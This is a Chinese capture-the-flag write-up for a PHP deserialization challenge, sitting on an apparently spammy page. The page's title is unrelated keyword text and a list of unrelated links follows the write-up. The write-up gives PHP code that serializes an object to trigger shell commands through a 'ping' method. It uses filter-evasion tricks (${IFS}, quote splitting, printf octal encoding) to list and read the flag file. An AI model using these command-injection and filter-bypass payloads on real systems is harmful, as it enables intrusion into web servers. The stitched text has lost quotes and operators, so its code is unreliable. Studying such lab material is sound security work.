当前位置: 首页 > news >正文

2014网站设计趋势成都推广系统

2014网站设计趋势,成都推广系统,石家庄关键词优化软件,wordpress显示页面加载时间开启场景 整体来说是创建了一个case类#xff0c;然后可接受post传来的ctf的值#xff0c;并对其进行base64解码以及反序列化。所以我们能控制ctf变量。 先看__wakeup方法#xff0c;该方法使用waf方法对$arg中的内容进行了防护#xff0c;过滤掉了| ; 空格 / cat f… 开启场景 整体来说是创建了一个case类然后可接受post传来的ctf的值并对其进行base64解码以及反序列化。所以我们能控制ctf变量。 先看__wakeup方法该方法使用waf方法对$arg中的内容进行了防护过滤掉了| ; 空格 / cat flag tac php ls。再看__destruct方法该方法检测ping是否在$method中并调用了名为$method的方法且以数组$arg中的值作为参数。接着看ping方法该方法的结构为将输入参数作为外部命令进行执行并返回输出结果。该函数实现了作为一个webshell的基本条件。综合来看就是在通过$method和__construct来调用构造的ping方法接着通过$args来作为输入口进行命令的输入。 查看目录文件 写一段序列化代码对 ls 命令序列化之后再 base64 编码 ?phpclass ease{private $method;private $args;function __construct($method, $args) {$this-method $method;$this-args $args;}} $a new ease(ping,array(ls)); $b serialize($a); echo $b; echo/br; echo base64_encode($b); ? 使用 php在线编译工具编译之后得到了一串 base64 编码 在场景页面打开 F12 使用 hackbar 插件发送post 请求 发现了有一个flag_1s_here文件夹 查看flag_1s_here文件夹 再用序列化代码重复上述操作 ?php class ease{private $method;private $args;function __construct($method, $args) {$this-method $method;$this-args $args;}}$onew ease(ping,array(ls${IFS}flag_1s_here)); $s serialize($o); echo base64_encode($s); ? 再编译得到了 base64 编码 再发送 post 请求 发现了一个flag_831b69012c67b35f.php 文件 查看flag_831b69012c67b35f.php flagcatflagphp都可以用双引号绕过空格用${IFS}绕过/要用printf及$()绕过。 ?phpclass ease{ private $method; private $args; function __construct($method, $args) {$this-method $method;$this-args $args; }} $a new ease(ping,array(cat${IFS}flag_1s_here$(printf${IFS}\57)flag_831b69012c67b35f.php)); $b serialize($a); echo $b; echo/br; echo base64_encode($b); ? 再编译 再发送 post 请求 或者直接对整个要执行的命令用printf及$绕过flag_1s_here/flag_831b69012c67b35f.php的八进制或十六进制编码都可以 ?phpclass ease{private $method; private $args; function __construct($method, $args) {$this-method $method;$this-args $args; }} $a new ease(ping,array($(printf${IFS}\143\141\164\40\146\154\141\147\137\61\163\137\150\145\162\145\57\146\154\141\147\137\70\63\61\142\66\71\60\61\62\143\66\67\142\63\65\146\56\160\150\160))); $b serialize($a); echo $b; echo/br; echo base64_encode($b); ? 最终二者都发现了 flag cyberpeace{90c18db4e46c6499d6e25e37c7babaf9}
http://www.tj-hxxt.cn/news/141370.html

相关文章:

  • 山西太原建站怎么做京东seo是什么意思
  • 建设网站需要什么基础网站优化毕业设计
  • 山西省网站建设哪家好上海网站设计厂家
  • 友情链接交易网站洛阳市网站建设管理
  • 包装设计网站有哪些长沙房产网二手房
  • 如何建立自己的网站商城专门做封面的网站
  • 深圳证券网站开发网站后台建设用到哪些编程语言
  • 网络网站建设公司wordpress 报价
  • 北京模板开发建站wordpress 自定义字段列表
  • 铜川网站建设公司电话济南网络科技有限公司有哪些
  • 网站建设收费标准教程网络营销策划的产品层次有哪些
  • 进网站后台加什么原因现在建网站可以赚钱吗
  • 拓展培训东莞网站建设秒玩小游戏点击即玩入口
  • 淘宝上做网站 源代码怎么给你建站加盟
  • 编写网站保温杯软文营销300字
  • 如何选择模板网站建设华东网站建设
  • 网站外包公司百度推广服务
  • 手机网站建设 jz.woonl娄底高端网站建设
  • 做视频网站都需要什么软件下载江西省赣州市地图
  • 做网站的出路如何在租用的服务器上部署自己的网站 mysql
  • 网站背景图片怎么做医院如何做网站策划
  • 给别人做网站去掉版权个人网站备案多少钱
  • 创意设计公司网站网站建设用到什么软件
  • 工程建设信息网站资质公告大专ui设计师工资一般多少
  • 大连鼎信网站建设网站域名怎么快速备案价格
  • 宿州企业官方网站建设大连网站建设方案咨询
  • vi设计概念google seo是什么意思
  • 北京网站建设优化用阿里巴巴店铺做公司网站怎么样
  • 网站是每年都要付费吗网站建设之数据信息的保密性
  • 淮南网络运营公司西安网站建设优化